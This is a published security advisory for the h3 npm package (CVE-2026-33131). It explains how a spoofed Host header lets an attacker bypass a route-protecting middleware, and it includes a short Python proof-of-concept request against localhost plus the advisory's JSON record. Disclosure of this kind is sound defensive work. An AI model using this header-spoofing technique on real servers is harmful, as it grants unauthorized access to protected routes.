GHSA-3VJ8-JMXQ-CGJ5
Vulnerability from github – Published: 2026-03-18 16:18 – Updated: 2026-03-20 21:28H3 NodeRequestUrl bugs
Vulnerable pieces of code :
import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()
const internalOnly = defineHandler((event, next) => {
const token = event.headers.get("x-internal-key");
if (token !== "SUPERRANDOMCANNOTBELEAKED") {
return new Response("Forbidden", { status: 403 });
}
return next();
});
const logger = defineHandler((event, next) => {
console.log("Logging : " + event.url.hostname)
return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);
app.get("/internal/run", () => {
return "Internal OK";
});
serve(app, { port: 3001 });
The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the event.url or event.url.hostname or event.url._url
It will lead to trigger one specials method
// _url.mjs FastURL
get _url() {
if (this.#url) return this.#url;
this.#url = new NativeURL(this.href);
this.#href = void 0;
this.#protocol = void 0;
this.#host = void 0;
this.#pathname = void 0;
this.#search = void 0;
this.#searchParams = void 0;
this.#pos = void 0;
return this.#url;
}
The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!
And as debugging , the this.#url is null and will reach to this code :
this.#url = new NativeURL(this.href);
Where is the this.href comes from ?
get href() {
if (this.#url) return this.#url.href;
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
return this.#href;
}
Because the this.#url is still null so this.#href is built up by :
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .
Middleware bypass
What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares
handler(event) {
const route = this["~findRoute"](event);
if (route) {
event.context.params = route.params;
event.context.matchedRoute = route.data;
}
const routeHandler = route?.data.handler || NoHandler;
const middleware = this["~getMiddleware"](event, route);
return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}
So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc :
import requests
url = "http://localhost:3000"
headers = {
"Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)
This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-0"
},
{
"fixed": "2.0.1-rc.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33131"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T16:18:12Z",
"nvd_published_at": "2026-03-20T11:18:02Z",
"severity": "HIGH"
},
"details": "# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) =\u003e {\n const token = event.headers.get(\"x-internal-key\");\n\n if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n return new Response(\"Forbidden\", { status: 403 });\n }\n\n return next();\n});\nconst logger = defineHandler((event, next) =\u003e {\n console.log(\"Logging : \" + event.url.hostname)\n return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () =\u003e {\n return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there\u0027s one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n if (this.#url) return this.#url;\n this.#url = new NativeURL(this.href);\n this.#href = void 0;\n this.#protocol = void 0;\n this.#host = void 0;\n this.#pathname = void 0;\n this.#search = void 0;\n this.#searchParams = void 0;\n this.#pos = void 0;\n return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this code : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n if (this.#url) return this.#url.href;\n if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n const route = this[\"~findRoute\"](event);\n if (route) {\n event.context.params = route.params;\n event.context.matchedRoute = route.data;\n }\n const routeHandler = route?.data.handler || NoHandler;\n const middleware = this[\"~getMiddleware\"](event, route);\n return middleware.length \u003e 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.",
"id": "GHSA-3vj8-jmxq-cgj5",
"modified": "2026-03-20T21:28:00Z",
"published": "2026-03-18T16:18:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/h3js/h3/security/advisories/GHSA-3vj8-jmxq-cgj5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33131"
},
{
"type": "PACKAGE",
"url": "https://github.com/h3js/h3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "h3 has a middleware bypass with one gadget"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.